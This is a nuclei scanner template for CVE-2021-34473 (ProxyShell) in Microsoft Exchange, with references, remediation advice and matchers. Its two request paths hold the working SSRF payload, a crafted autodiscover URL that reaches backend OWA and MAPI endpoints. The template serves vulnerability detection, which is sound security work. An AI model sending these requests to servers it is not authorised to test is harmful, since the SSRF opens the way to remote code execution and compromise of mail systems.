nuclei-templates/cves/2021/CVE-2021-34473.yaml

36 lines
1.4 KiB
YAML

id: CVE-2021-34473
info:
name: Exchange Server - Remote Code Execution
author: arcc,intx0x80,dwisiswant0,r3dg33k
severity: critical
description: |
Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.
reference:
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
- https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
- https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
- https://nvd.nist.gov/vuln/detail/CVE-2021-34473
remediation: Apply Microsoft Exchange Server 2019 Cumulative Update 9 or upgrade to the latest version.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-34473
tags: cve,cve2021,ssrf,rce,exchange,kev
requests:
- method: GET
path:
- '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
- '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com'
matchers:
- type: word
part: body
condition: or
words:
- "Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException"
- "Exchange MAPI/HTTP Connectivity Endpoint"
# Enhanced by mp on 2022/05/02